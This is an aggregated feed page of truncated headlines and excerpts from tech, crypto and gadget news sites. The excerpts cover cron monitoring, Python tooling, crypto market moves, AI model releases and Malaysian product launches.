    I just got back from the iPC/iJS conference in Munich and had a great time. I brought back 7 lessons I learned (more on that later) and inspiration for other things. One of them was to get a handle of managing all of our cronjobs. We have 2 servers and several Elastic Beanstalk applications, all of which have their own cronjob setups. I've been having them email a group email address and tucking them away and reviewing them every once in a while to see if there were any errors. This led me to the thought that there's got to be a better way. I started thinking about how I could append a ping to a centralized service after each cron job and that service could monitor the jobs and then ping me if anything goes missing. Then I thought, wait a second ... maybe someone else has already done this…  ( 7 min )
    The Python Structure Viewer: A Clear Window into Your Code
    Every Python script has its own rhythm — loops, branches, and calls that can be hard to follow once the file grows. The Python Structure Viewer on pacificw.com makes that rhythm visible. It’s a local browser-based dashboard that translates Python code into a readable flow of logic, helping you see how a program moves rather than what each line means. At the top of the interface, you’ll find simple menus — File, Edit, View, and Help — for working with your code. Below that, the layout splits neatly into two panels: On the left, you paste or drag-and-drop your .py file. On the right, the viewer renders a structured outline in Tree, English, or Both modes. This design makes it a control-flow companion rather than a semantic analyzer — a way to trace logic at a glance without reading through i…  ( 7 min )
    Setting Up Side-by-Side Python Versions on Azure DevOps Self-Hosted Agents
    Setting Up Side-by-Side Python Versions on Azure DevOps Self-Hosted Agents You've set up an Azure DevOps self-hosted agent and need Python for your pipelines. You install Python, configure your pipeline with UsePythonVersion@0, and the job fails - the agent can't find it. The ADO documentation isn't clear on how to properly set up Python so the agent can use it, especially when you need multiple versions side-by-side. This guide shows you exactly how to do it using uv and symlinks. ADO agents won't use your system-installed Python. The UsePythonVersion task only looks in _work/_tool/Python/ with this exact structure: _work/_tool/ └── Python/ ├── 3.12.12/ │ ├── x64/ │ │ └── bin/ │ └── x64.complete └── 3.12/ ├── x64/ │ └── bin/ …  ( 11 min )
    2025 Complete Guide: Doubao-Seed-Code Model - In-Depth Analysis of ByteDance's AI Programming Assistant
    🎯 Key Takeaways (TL;DR) Model Positioning: Doubao-Seed-Code is ByteDance's professional code generation AI, supporting 200+ programming languages Core Capabilities: Comprehensive programming assistance including code generation, completion, explanation, debugging, and unit test generation Integration Method: Quick integration via Volcano Engine API, supporting both streaming and non-streaming calls Use Cases: IDE plugin development, code review tools, intelligent programming assistants, developer education platforms What is Doubao-Seed-Code Model Core Features and Capabilities How to Integrate and Use API Call Details Best Practices and Application Scenarios Frequently Asked Questions Doubao-Seed-Code is a vertical domain model developed by ByteDance based on the Doubao large language…  ( 10 min )
    vite-plugin-html和vite-plugin-static-copy 一起使用有bug
    publicDir: VITE_APP_ENV === "production" ? false :"public", plugins: createVitePlugins(env, command === "build",views), import vue from "@vitejs/plugin-vue"; import createPublicFilter from './filter-public'; import createEditHtml from './edit-html' export default function createVitePlugins(viteEnv, isBuild = false, buildList) { const vitePlugins = [vue()]; vitePlugins.push(createEditHtml(viteEnv)); isBuild && vitePlugins.push(createPublicFilter(viteEnv)); return vitePlugins; } import { viteStaticCopy } from 'vite-plugin-static-copy'; import { publics, getConfigByKey } from '../config/system' export default function createPublicFilter(env) { const { VITE_BUILD_PROJECT } = env const systemPublics = getConfigByKey(publics,VITE_BUILD_PROJECT); return viteStaticCopy({ t…  ( 7 min )
    Understanding UX Design: Creating Experiences That Matter
    Define Analyzing data to identify user needs and defining clear design goals, personas, and problem statements. Ideate Generating creative ideas and potential solutions through brainstorming, sketching, and collaboration. Prototype Building low- or high-fidelity prototypes to visualize how users will interact with the design. Test Observing how users engage with the prototype to identify usability issues and areas for improvement. Implement & Iterate Working with developers to bring the final design to life and continuously improving it based on user feedback. Why UX Design Matters Good UX design offers tangible benefits: Improved user satisfaction and loyalty — users are more likely to return to an intuitive product. Reduced development costs — identifying usability issues early prevents costly redesigns later. Increased conversions — optimized user flows lead to higher engagement and sales. Enhanced brand reputation — a seamless experience builds trust and credibility. The Future of UX Design As technology evolves, UX design is expanding into new territories. Voice interfaces, AI-driven personalization, augmented reality (AR), and virtual reality (VR) are redefining how users interact with digital products. The next wave of UX focuses on emotional design, sustainability, and ethical considerations — ensuring technology not only serves but also respects users. Conclusion UX Design is more than just a discipline — it’s a philosophy that places the user at the heart of every decision. In a world of endless digital choices, products that truly understand and delight their users will stand out. Whether it’s a mobile app, website, or connected device, great UX design transforms functionality into meaningful experiences — and that’s what keeps users coming back.  ( 7 min )
    AI Genesis: Building Neural Networks from Random Noise
    AI Genesis: Building Neural Networks from Random Noise Tired of painstakingly crafting every layer of your deep learning models? What if instead of architecting, you could grow neural networks from scratch? Imagine starting with a single computational 'cell' and letting it self-organize into a functional network, driven by nothing but random noise. The core concept is surprisingly simple: inject controlled noise into an initial layer of artificial neurons. This noise acts as a 'seed' pattern, causing the neurons to spontaneously activate in a structured way. A second layer of neurons then learns this emergent pattern through a simple, local connection adjustment rule. This creates organized layers, mimicking biological brain development. I've found this approach yields some fascinating …  ( 7 min )
    Monetzly: Monetizing LLM Apps with Google Ads for AI Conversations
    What If Your AI App Could Generate Revenue in Two Ways Simultaneously? As developers, we thrive on innovation and creating solutions that make lives easier. But let’s face it—monetizing those innovations often feels like an uphill battle. Enter Monetzly, a groundbreaking platform designed to revolutionize how we think about revenue generation in the AI space. Imagine if your AI app could not only earn from user subscriptions but also generate income through relevant advertising. Sounds intriguing, right? Welcome to the dual revenue revolution. The explosion of AI applications has created a sea of opportunities, yet many developers struggle with monetization. Traditional models, like subscriptions or paywalls, can disrupt user experience and limit engagement. Monetzly offers a fresh appro…  ( 7 min )
    The Curious Case of Terraform Workspaces
    Why everyone thinks Terraform workspaces are bad, what the docs actually say, and how to use them properly. This is NOT a 'workspaces are supreme, use them for everything' post. A master programmer was asked: “What makes code elegant?” He replied: “When you remove what is not essential, what remains is truth.” If you’ve spent any time in the Terraform community, you’ve likely encountered the heated debate around workspaces. Many developers read HashiCorp’s documentation and immediately conclude that Terraform workspaces should be avoided. But is this really what the documentation says? Or have we collectively misunderstood the nuanced guidance HashiCorp provides? I used to be in the “workspaces are evil” camp myself. I’d built wrappers, used off-the-shelf abstraction layers, anything to av…  ( 19 min )
    Before You Journey into Tech: My Honest Thoughts from Experience
    When I decided to get into tech, I didn’t really know what I was getting myself into. I just knew it looked cool — people were building apps, working remotely, earning well, and doing all sorts of things I found fascinating. But after a while, I realized something: tech isn’t just about writing code or building apps. It’s a mindset. A whole world that rewards curiosity, patience, and persistence. If you’re thinking of starting a career in tech, I want to share a few things I wish someone had told me earlier. Tech Isn’t One Thing — It’s Many Worlds When I first heard people say “I work in tech,” I thought it all meant programming. Later, I found out tech is more like a city — with different neighborhoods. There’s web development, cybersecurity, UI/UX design, data science, cloud computing, a…  ( 8 min )
    Understanding HTML Semantic Tags: Importance and Practical Uses
    HTML semantic tags are elements that clearly describe their meaning and purpose to both browsers and developers. Unlike non-semantic elements like What Are Semantic Tags? By using semantic tags, developers can create web pages that are more accessible, maintainable, and optimized for search engines. They replace generic containers like Importance of Semantic Tags 1 Improved Accessibility
Semantic tags make websites more accessible to users who rely on assistive technologies. Screen readers interpret semantic elements to provide context, helping visually impaired users navigate content more effectively. For example, a 
tag indicates a navigation menu, allowing screen readers to announce it as such.
 2 Better Search Engine Optimization (SEO)
Search engines like Google use semanti…  ( 9 min )
    Create Your First MCP Tool: The readFile Tool Explained
    --- title: "Build Your First AI Tool: The `readFile` MCP Utility Explained" published: true tags: ["ai", "typescript", "expressjs"] canonical_url: https://nicolas-dabene.fr/en/articles/2025/11/12/creer-votre-premier-outil-mcp-l-outil-readfile-explique/ --- Hey there, fellow developers! Nicolas Dabène here, and I'm thrilled to guide you through a truly exciting milestone today. If you’ve been following my previous thoughts on AI and the Model Context Protocol (MCP), or even if you're just diving in, you know the theory can be fascinating. But nothing beats the thrill of seeing that theory manifest as working code. Today, we're going to experience that "Aha!" moment together: building your very first MCP tool, a simple yet powerful function that empowers an AI to read files directly from yo…  ( 17 min )
    2025 Complete Guide: In-Depth Analysis of ERNIE-4.5-VL-28B-A3B-Thinking Multimodal AI Model
    🎯 Key Takeaways (TL;DR) Lightweight & Efficient: Activates only 3B parameters while matching top-tier flagship model performance Breakthrough Reasoning: Achieves exceptional visual reasoning and STEM problem-solving through large-scale reinforcement learning Innovative Features: Supports "Thinking with Images", visual grounding, tool calling, and video understanding Easy Deployment: Supports multiple inference frameworks including Transformers, vLLM, and FastDeploy Open Source Friendly: Licensed under Apache 2.0, allowing commercial use What is ERNIE-4.5-VL-28B-A3B-Thinking Core Technical Highlights Six Key Capabilities Explained Performance Benchmarks Quick Start Guide Deployment Options Comparison Fine-tuning and Training Frequently Asked Questions Summary and Recommendations ERNIE-…  ( 15 min )
  • Open

    Leap Therapeutics Surges 300% on $50M Winklevoss-Backed Zcash Bet
    The company is also rebranding as Cypherpunk Technologies with ticker change to CYPH, effective Thursday.  ( 32 min )
    Polymarket's Shayne Coplan: Blockchain Let Him Build a Global Force From His Bedroom
    The founder of the prediction marketplace spoke at Cantor Fitzgerald’s crypto, AI and blockchain conference in Miami.  ( 35 min )
    Crypto Long & Short: The Rise of Digital Asset Treasury Companies
    In this week’s Crypto Long & Short Newsletter, Abdul Rafay Gadit writes about how DATCO’s are reshaping corporate finance. Then, we take a look back at crypto rates and a look ahead at signs of strength as the country emerges from the government shutdown, with Andy Baehr’s “Vibe Check.  ( 39 min )
    Bitcoin Slips 1.2% as Volume Thins Near $100K Support
    The flagship digital asset tests psychological threshold while institutional players build hedges through options positioning.  ( 33 min )
    Crypto Investor Dan Tapiero Sees AI-Blockchain Crossover Fueling Next Big Wave
    ‘Blockchain is the money of AI,’ said the 10T founder, who’s betting 20% of his next fund on startups that don’t yet exist.  ( 33 min )
    LINK Drops 4% as Chainlink ETF News Fails to Push Break of Technical Resistance
    The oracle token encountered selling pressure at $16.25 alongside a sizable decline in the broader crypto market.  ( 32 min )
    Dubai Court Freezes $456M Linked to Justin Sun’s Bailout of TrueUSD Issuer Techteryx
    Dubai’s Digital Economy Court said there was compelling evidence of a breach of trust and ordered a worldwide freeze to protect the assets.  ( 31 min )
    Solana Drops 4.9% Breaking Below Key Support as Alameda Unlocks Continue
    Institutional inflows of $336 million fail to offset selling pressure as SOL falls to $153 amid fresh token releases.  ( 32 min )
    Bitcoin Plunges Below $102K Amid Weak U.S. Demand, Fed Divided on December Cut
    Bitcoin's Coinbase Premium, a popular gauge for U.S. demand, is having its longest negative streak since the April correction, coinciding with the Fed turning more hawkish.  ( 30 min )
    Stellar's XLM Trades in Tight Range as Traders Exhibit Uncertainty
    XLM trades within tight $0.2810-$0.2950 corridor following volume surge that triggered key support breakdown earlier in session.  ( 30 min )
    HBAR Drops 0.6% to $0.18 Amid Indecisive Trading Session
    Hedera's native token breaks key support in final trading hour as institutional focus shifts to regulatory-friendly blockchain alternatives.  ( 30 min )
    BONK Falls 5% to $0.00001223 After Rejection at Key Resistance
    BONK slipped 5% to $0.00001223 after failing to break resistance near $0.0000130, with trading volume spiking nearly 50% above average during the pullback.  ( 30 min )
    Sui Launches Native Stablecoin USDsui Using Bridge’s Open Issuance Platform
    The new U.S.-compliant USDsui aims to link the blockchain’s $200bn monthly stablecoin volume to Bridge’s interoperable platform.  ( 30 min )
    Toncoin Drops 2.4% as Post-Rally Selling Pressure Caps Gains
    The token briefly rallied to $2.1165 on increased volume before heavy selling erased gains, pulling TON back to key support levels around $2.02.  ( 30 min )
    Brazil Proposes Selling Seized Bitcoin to Undercut Organized Crime Networks
    The proposed law, part of the "anti-faction bill", would treat cryptocurrencies like foreign currencies and financial securities.  ( 31 min )
    New Strike Force Set to Target Overseas 'Pig Butchering' as U.S. Hits Burma Operation
    U.S. federal agencies are establishing a Scam Center Strike Force to counter the industrial-scale efforts to swindle money via crypto transactions.  ( 31 min )
    The Protocol: Sweeping Uniswap Proposal ‘UNIfication’
    Also: Monad Tokenomics Unveiled, Anchorage Dabbles in BTC DeFi and Injective’s Native EVM.  ( 38 min )
    Pantera-Backed Solana Company to Tokenize Its Shares With Superstate's Opening Bell
    The move follows fellow Solana treasury firm Forward Industries making its stock available onchain.  ( 29 min )
    Trump Nominee Mike Selig Set for CFTC Confirmation Hearing as Crypto Bill Advances
    Trump’s CFTC pick will face senators just as crypto legislation starts moving through Congress again.  ( 29 min )
    U.S. SEC Chief Atkins Says Clarity Coming on Crypto Tied to Investment Contracts
    In the realm of the so-called Howey Test to define investment contracts under SEC jurisdiction, Atkins says there should be a clearer path for crypto involvement.  ( 32 min )
    RWA Specialist Centrifuge Debuts Tokenization Service, Starting with Daylight
    Decentralized energy network Daylight is the first to use the Centrifuge Whitelabel service, aiming to simplify real-world asset tokenization.  ( 30 min )
    CoinDesk 20 Performance Update: Bitcoin Cash (BCH) Gained 4.1%, Leading Index Higher
    Chainlink (LINK) was also a top performer, rising 4% from Tuesday.  ( 26 min )
    Franklin Templeton Expands Benji Technology Platform to Canton Network
    The move links traditional finance infrastructure with blockchain rails as major institutions push deeper into tokenized markets.  ( 30 min )
    Bitcoin Crafts 'Bullish Wedge,' Keeping Hopes Alive for Record Highs Above $126K
    Bitcoin's recent price drop from $126,000 to $106,000 is forming a bullish falling wedge pattern.  ( 31 min )
    BNB Recovers Above $970 After Brief Drop as Market Volatility Pressures Token
    Despite the bounce, the token's broader setup remains cautious, with resistance building near $980 and subdued volume suggesting a lack of conviction.  ( 30 min )
    Circle’s USDC Keeps Climbing; William Blair Reiterates Outperform After 3Q Results
    The bank said USDC remains the frontrunner to dominate digital dollars as the company's third-quarter results topped forecasts.  ( 29 min )
    ICP Slips as Consolidation Phase Holds Above Key Support
    Internet Computer (ICP) eased 0.65% to $6.30 as consolidation held above a critical support level, with volume up 77% during a resistance test near $6.67.  ( 30 min )
    B. Riley Flags Recovery Signs in Digital Asset Treasuries as BitMine Extends Ether Lead
    After weeks of weakness, the bank flagged a potential rebound in digital asset treasury companies as macro risks cooled and short sellers retreated.  ( 30 min )
    Key Bitcoin Capitulation Metric Points to Bottoming in Price
    Bitcoin's Net Unrealized Profit (NUP) ratio has dropped to 0.476, a level that historically signals short-term market bottoms.  ( 30 min )
    Pooled Order Books in the Crosshairs as EU Regulators Look to Tighten MiCA Oversight
    The European Securities and Markets Authority is preparing to take greater, more centralized control of crypto regulation across the 27-country trading block, according to reports.  ( 37 min )
    Demand Revival: Crypto Daybook Americas
    Your day-ahead look for Nov. 12, 2025  ( 35 min )
    Circle Q3 Profit Triples, Beating Estimates
    Total revenue and reserve income for the quarter rose to $740 million, more than double the year-earlier period.  ( 28 min )
    Crypto Markets Today: Privacy Tokens Shine, Majors Stall as Market Consolidates
    Bitcoin, ether and solana edged lower as privacy-focused tokens extended gains, with traders eyeing potential volatility from U.S. government developments.  ( 32 min )
    What Uniswap’s Latest Proposal Really Means for UNI Token Buyers
    The fee switch implies a 2.5% annual supply reduction, creating a quasi-buyback dynamic that directly links network activity with token scarcity.  ( 31 min )
    Kraken Co-CEO Says UK Crypto Promotion Rules May Harm Retail Investors: FT
    Arjun Sethi said questionnaires and warnings about potential financial loss slow down transaction times while asset prices are moving.  ( 29 min )
    Visa Tests Stablecoin Payouts to Speed Payments for Creators, Gig Workers
    New Visa Direct pilot lets businesses send dollar-backed stablecoins like USDC to users’ digital wallets for near-instant access to earnings.  ( 30 min )
    Bernstein Says U.S. Crypto Framework Positions Nation as Global Leader
    With new laws defining market structure and stablecoin oversight, the broker said America’s digital asset industry has entered its most mature phase yet.  ( 30 min )
    Is Bitcoin Volatility Vacation Over? Chart Suggests So, Analysts Cite 3 Catalysts
    Bitcoin volatility index, BVIV, has blown past trendline resistance, pointing to increased price turbulence.  ( 32 min )
    First U.S. Spot XRP ETF Could Go Live on Thursday
    A successful ETF launch could expand XRP’s liquidity base and potentially trigger inflows from registered investment advisers who may have avoided direct crypto exposure beyond bitcoin.  ( 31 min )
    Coinbase Ends Acquisition Talks for U.K.-Based BVNK: Fortune
    The negotiations, which began earlier this year and progressed to an exclusivity agreement in October, were expected to value BVNK between $1.5 billion and $2.5 billion.  ( 28 min )
    Dogecoin Near Make-or-Break Zone as Fresh Bitcoin Slide Pulls Down Majors by 5%
    Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 29 min )
    JPMorgan Rolls Out JPM Coin Leveraging Coinbase's Base: Report
    Unlike stablecoins, deposit tokens are digital claims on existing bank funds and can be interest-bearing, offering a new option for institutional investors.  ( 30 min )
    XRP Faces Bearish Cross Risk, Sinks 5% Even as ETFs Move Further
    The token's ability to defend the $2.39–$2.41 range will determine if it rebounds or faces further declines.  ( 31 min )
    Asia Morning Briefing: Bitcoin ETFs Pull In $300M as Traders Rush to Buy the Dip
    After two weeks of heavy redemptions, U.S.-listed spot Bitcoin ETFs turned positive again, led by Fidelity and Ark, even as global fund flows remain uneven.  ( 31 min )
    Bitcoin Miners Must Own Power—or Die Trying Before Next Halving, MARA CEO Says
    With block rewards set to plunge, only miners with energy control or AI pivots are likely to survive, Thiel argues.  ( 31 min )
  • Open

    How to Integrate Vector Search in Columnar Storage
    Integrating vector search into traditional data platforms is becoming a common task in the current AI-driven landscape. When Google announced general availability for vector search in BigQuery in early 2024, it joined a growing list of established da...  ( 14 min )
    How to Cut AI Costs Without Losing Capability: The Rise of Small LLMs
    Artificial intelligence is getting smaller – and smarter. For years, the story of AI progress was about scale. Bigger models meant better performance. But now, a new wave of innovation is proving that smaller models can do more with less. These compa...  ( 7 min )
    How to Parse XML in Python Without Using External Libraries
    In software development, you’ll run into XML (Extensible Markup Language) when working with configuration files, API responses, data exports, and more. While there are powerful third-party libraries for parsing XML, Python's standard library already ...  ( 8 min )
    System Architecture Documentation Best Practices and Tools
    Imagine being asked to give UX feedback on a system workflow document and realizing you can’t understand a word of it. That’s exactly what happened to me. As an IT support officer, I can put myself in the perspective of a user and identify friction p...  ( 7 min )
  • Open

    Weibo's new open source AI model VibeThinker-1.5B outperforms DeepSeek-R1 on $7,800 post-training budget
    Another day in late 2025, another impressive result from a Chinese company in open source artificial intelligence. Chinese social networking company Weibo's AI division recently released its open source VibeThinker-1.5B—a 1.5 billion parameter large language model (LLM) that is a fine-tuned variant of rival Chinese tech firm Alibaba's Qwen2.5-Math-1.5B. It's available now for free download and usage by researchers and enterprise developers—even for commercial purposes—under a permissive MIT License on Hugging Face, GitHub and ModelScope, with a technical report on open access science publishing site arxiv.org. And yet, despite its compact size, VibeThinker-1.5B achieves benchmark-topping reasoning performance on math and code tasks, rivaling or surpassing models hundreds of times its size…
    How Deductive AI saved DoorDash 1,000 engineering hours by automating software debugging
    As software systems grow more complex and AI tools generate code faster than ever, a fundamental problem is getting worse: Engineers are drowning in debugging work, spending up to half their time hunting down the causes of software failures instead of building new products. The challenge has become so acute that it's creating a new category of tooling — AI agents that can diagnose production failures in minutes instead of hours. Deductive AI, a startup emerging from stealth mode Tuesday, believes it has found a solution by applying reinforcement learning — the same technology that powers game-playing AI systems — to the messy, high-stakes world of production software incidents. The company announced it has raised $7.5 million in seed funding led by CRV, with participation from Databricks V…
    OpenAI reboots ChatGPT experience with GPT-5.1 after mixed reviews of GPT-5
    ChatGPT is about to become faster and more conversational as OpenAI upgrades its flagship model GPT-5 to GPT-5.1. OpenAI announced two updates to the GPT-5 series: GPT-5.1 Instant and GPT-5.1 Thinking. Both models are now accessible on ChatGPT.  GPT-5.1 Instant, essentially the default and most-used model, is now “warmer, more intelligent, and better at following your instructions.” Meanwhile, GPT-5.1 Thinking is an advanced reasoning model that responds faster for simple tasks and yet more persistently on complex ones. “We heard clearly from users that great AI should not only be smart, but also enjoyable to talk to,” OpenAI said on the blog post. “GPT-5.1 improves meaningfully on both intelligence and communication style.”  The company added that both models offer a way for users to “sha…
    Baidu just dropped an open-source multimodal AI that it claims beats GPT-5 and Gemini
    Baidu Inc., China's largest search engine company, released a new artificial intelligence model on Monday that its developers claim outperforms competitors from Google and OpenAI on several vision-related benchmarks despite using a fraction of the computing resources typically required for such systems. The model, dubbed ERNIE-4.5-VL-28B-A3B-Thinking, is the latest salvo in an escalating competition among technology companies to build AI systems that can understand and reason about images, videos, and documents alongside traditional text — capabilities increasingly critical for enterprise applications ranging from automated document processing to industrial quality control. What sets Baidu's release apart is its efficiency: the model activates just 3 billion parameters during operation whi…
  • Open

    Prices Of NAND Flash Memory Have Doubled In Three Months
    Prices for SSDs have doubled in less than six months, but still remain stable. However, the price of the NAND flash memory chips has also doubled, but in a shorter time span of just three months. The statement comes from Khein-Seng Puya, Phison CEO, during an earnings call with investors. Note that he’s talking about […] The post Prices Of NAND Flash Memory Have Doubled In Three Months appeared first on Lowyat.NET.  ( 34 min )
    Razer Blade 16 2025 Review: A Premium Package Of Clunkiness
    It took me a while to get this year’s Razer Blade 16 into my lab and right into hands. Almost 10 months after my encounter with it back at CES 2025, specifically. Now that I’ve finally spent some quality time with this 16 -inch entertainment machine, I find it a little surprising that, for all […] The post Razer Blade 16 2025 Review: A Premium Package Of Clunkiness appeared first on Lowyat.NET.  ( 43 min )
    BYD Teases Shark PHEV Preview In Malaysia
    BYD Malaysia is teasing a new model for its upcoming BYD Tech Discovery 2025 event in Malaysia, slated to commence on 14 until 16 November 2025 at Plaza Arkadia, Desa Parkcity. From the social media post it shared, it appears that the vehicle in question is its Shark PHEV pick-up truck based on the silhouette. […] The post BYD Teases Shark PHEV Preview In Malaysia appeared first on Lowyat.NET.  ( 36 min )
    Sony Announces Cheaper Japanese-Exclusive PS5
    Sony Japan announced that it will be launching a cheaper PS5 during its State of Play Japan broadcast. The catch? It’s a Japanese-language-only console that is exclusively available in, you guessed it, Japan. Sony launched the console in celebration of the PS5’s 5th anniversary. All in all, it is simply a refresh of the 825GB PS5 […] The post Sony Announces Cheaper Japanese-Exclusive PS5 appeared first on Lowyat.NET.  ( 33 min )
    Digital Ministry: National Data Repository To Begin Operations Next Year
    The National Data Repository (NDR) is expected to begin operations next year, according to the Ministry of Digital. As initially announced by Prime Minister Datuk Seri Anwar Ibrahim during the 13th Malaysia Plan (13MP) tabling back in July, it will serve as a centralised data bank to store and manage high-quality datasets from all ministries […] The post Digital Ministry: National Data Repository To Begin Operations Next Year appeared first on Lowyat.NET.  ( 34 min )
    Mercedes-Benz Teases GLC400 e 4MATIC For Malaysian Market
    Mercedes-Benz Malaysia recently teased the upcoming debut of the GLC400 e 4MATIC, hinting at an expansion of its GLC lineup in the Malaysian market. The new plug-in hybrid (PHEV) SUV will be locally assembled, or CKD for short, much like the petrol-powered GLC450 4MATIC. The announcement was made via the automaker’s official social media channels. […] The post Mercedes-Benz Teases GLC400 e 4MATIC For Malaysian Market appeared first on Lowyat.NET.  ( 35 min )
    Google Play Store To Label Apps That Drain Battery
    It’s safe to say that battery life is a major concern for smartphone users. While many manufacturers are equipping phones with bigger batteries, some apps are simply energy vampires that will drain devices dry. To address this problem, Google will begin flagging such apps on the Google Play Store. In a blog post, the search […] The post Google Play Store To Label Apps That Drain Battery appeared first on Lowyat.NET.  ( 34 min )
    nubia Unveils Neo 3 GT White Hailstone Limited Edition; Priced At RM1,399
    Back in April, nubia launched the Neo 3 GT budget gaming smartphone, which came in two different colours. Now, the company is releasing a colourway to the series, the nubia Neo 3 GT White Hailstone Limited Edition, as part of its collaboration with Free Fire. This new variant, as the name suggests, sports an almost […] The post nubia Unveils Neo 3 GT White Hailstone Limited Edition; Priced At RM1,399 appeared first on Lowyat.NET.  ( 35 min )
    You Can Get The Lexon X Jeff Koons Balloon Dog Speakers For RM3,999
    If you’re a fan of the French lifestyle product Lexon and equally a fan of the artist Jeff Koons, you may be interested to know that the company Ante is showing off the Lexon X Jeff Koons Balloon Dog speakers and lamp inside Seibu at TRX. From now until 2 January 2026, the Lexon X […] The post You Can Get The Lexon X Jeff Koons Balloon Dog Speakers For RM3,999 appeared first on Lowyat.NET.  ( 35 min )
    New Proton Saga Comes With A Tentative Pricing Between RM40K And RM50K
    Proton has announced that bookings are now open for the new Proton Saga. The national automaker made the announcement through its official social media platforms, also revealing the sedan’s tentative price range of RM40,000 to RM50,000. Along with these announcements, the automaker has introduced an early booking package, which includes a free special edition Touch […] The post New Proton Saga Comes With A Tentative Pricing Between RM40K And RM50K appeared first on Lowyat.NET.  ( 34 min )
    Google To Introduce AI Notification Summaries To Pixel Phones
    Google is granting its Pixel smartphones the ability to summarise notifications in an upcoming update. However, unlike Apple, who struggled with the feature at first, the tech giant is taking the necessary precaution and only enabling it for chat conversations. The feature, first reported by Android Authority in August, uses generative AI. While powerful, the […] The post Google To Introduce AI Notification Summaries To Pixel Phones appeared first on Lowyat.NET.  ( 34 min )
    Apple Introduces New iPhone Pocket Accessory
    Back in September, Apple launched the Crossbody Strap for its iPhone lineup, allowing users to wear the device like a sling bag of sorts. Now, the company has taken the idea further with the iPhone Pocket, a new special edition accessory made in collaboration with designer Issey Miyake. Literally inspired by “a piece of cloth”, […] The post Apple Introduces New iPhone Pocket Accessory appeared first on Lowyat.NET.  ( 35 min )
    realme GT 8 Pro Launching In Malaysia On 24 November 2025
    realme Malaysia has confirmed that its latest flagship smartphone, the realme GT 8 Pro, will officially launch in the country on 24 November 2025. The company also announced that an early bird pre-order campaign has begun, offering exclusive rewards for customers who secure their units ahead of the launch. While local specifications have yet to […] The post realme GT 8 Pro Launching In Malaysia On 24 November 2025 appeared first on Lowyat.NET.  ( 35 min )
    Sony Introduces Official PlayStation 27-Inch Gaming Monitor
    Sony has announced a new addition to its hardware lineup: a 27-inch gaming monitor designed for the PlayStation 5, as well as general use. Developed by Sony Interactive Entertainment, the monitor is aimed at players who prefer a desktop experience, while featuring certain exclusive features unique to the PS5 ecosystem. The PlayStation 27-inch Gaming Monitor […] The post Sony Introduces Official PlayStation 27-Inch Gaming Monitor appeared first on Lowyat.NET.  ( 34 min )
    Anker Announces Five New Powerbanks And Charging Accessories; Priced From RM79
    Anker has launched a selection of new powerbanks and charging accessories focused on portability. These include a new powerbank for laptops, as well as four new products in its Nano range. All these items are available for purchase on the brand’s Shopee page. Starting with the Anker Laptop Powerbank, it features a compact 25,000mAh battery […] The post Anker Announces Five New Powerbanks And Charging Accessories; Priced From RM79 appeared first on Lowyat.NET.  ( 35 min )
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    Why We're Rebranding: A Letter from Quicknode's Founders
    Discover why Quicknode is rebranding. Reflecting our evolution from RPC provider to complete blockchain platform built for reliability, performance, and the builders shaping the onchain future.  ( 6 min )
  • Open

    The Download: how to survive a conspiracy theory, and moldy cities
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What it’s like to be in the middle of a conspiracy theory (according to a conspiracy theory expert) —Mike Rothschild is a journalist and an expert on the growth and impact of conspiracy…  ( 22 min )
    Improving VMware migration workflows with agentic AI
    For years, many chief information officers (CIOs) looked at VMware-to-cloud migrations with a wary pragmatism. Manually mapping dependencies and rewriting legacy apps mid-flight was not an enticing, low-lift proposition for enterprise IT teams. But the calculus for such decisions has changed dramatically in a short period of time. Following recent VMware licensing changes, organizations are…  ( 17 min )

  • Open

    Why Nietzsche Matters in the Age of Artificial Intelligence
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    Ditch your (mut)ex, you deserve better
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    runit Linux: Guide to Unix Init Scheme with Service Supervision
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    The Head of the Cybertruck Program Quit Tesla. Model Y Leader Left Hours Later
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    Meticulous (YC S21) is hiring to redefine software dev
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    Antic Magazine Interviews Alan Reeve, the Creator of the Diamond OS (1990)
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    A modern 35mm film scanner for home
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    The AI Surveillance Dystopia: Spying, Data Trafficking, & Corruption
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    A Catalog of Side Effects
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    Agentic Pelican on a Bicycle
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    Vertical Integration is the only thing that matters
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    Itiner-e: A high-resolution dataset of roads of the Roman Empire
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    Show HN: Creavi Macropad – Built a wireless macropad with a display
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    The 1957 “Spaghetti-Grows-on-Trees” Hoax
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    Show HN: Unflip – a puzzle game about XOR patterns of squares
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    A squeaky nail, or the wheel that sticks out
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    FFmpeg to Google: Fund Us or Stop Sending Bugs
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    Gymkhana's 1978 Subaru Brat with 9,500-RPM Redline, Active Aero Is One Super Ute
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    Historical Reasons
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    Terminal Latency on Windows
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    Race optimization algorithms with good initializations (beat them with bonuses)
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    Show HN: Data Formulator 0.5 – interactive AI agents for data visualization
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    Contributing to Open-Source Should Be Required, Like Jury Duty
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    We ran over 600 image generations to compare AI image models
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    Practice answers with yourself. I made a thing that I didn't want to pay for
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    Cache-Friendly, Low-Memory Lanczos Algorithm in Rust
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    Show HN: Cactoide – Federated RSVP Platform
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    Weave (YC W25) is hiring a founding ML engineer
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    iPod Socks
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    Abandoned by Humans, Forsaken by Nature: The Plight of Pigeons
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    Firefox Expands Fingerprint Protections
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    Show HN: Reversing a Cinema Camera's Peripherals Port
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    Canada loses its measles-free status, with US on track to follow
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    .NET 10
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    Grebedoc – static site hosting for Git forges
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    Blender 5.1
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    Pikaday: A friendly guide to front-end date pickers
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    Drawing Text Isn't Simple: Benchmarking Console vs. Graphical Rendering
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    Show HN: Gametje – A casual online gaming platform
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    The Department of War just shot the accountants and opted for speed
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    Show HN: Tusk Drift – Open-source tool for automating API tests
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    Has Google solved two of AI's oldest problems?
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    The Perplexing Appeal of the Telepathy Tapes
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    Show HN: Venturu – Zillow for the market of local businesses
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    AI adoption in US adds ~900k tons of CO₂ annually, study finds
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    Anxiety disorders tied to low levels of choline in the brain
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    Show HN: Linnix – eBPF observability that predicts failures before they happen
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    Widespread distribution of bacteria containing PETases across global oceans
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    Hazel (YC W24) Is Hiring Full Stack Engineers
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    Stop overhyping AI, scientists tell von der Leyen
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    Advent of Code on the Z-Machine
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    On Trying Two Dozen Different Psychedelics
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    Gen X may be the first to need a UBI after late-career job loss
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    Show HN: High-Performance .NET Bindings for the Vello Sparse Strips CPU Renderer
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    Listen to Database Changes Through the Postgres WAL
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  • Open

    How to Set Up Your Own Google Analytics Alternative Using Umami
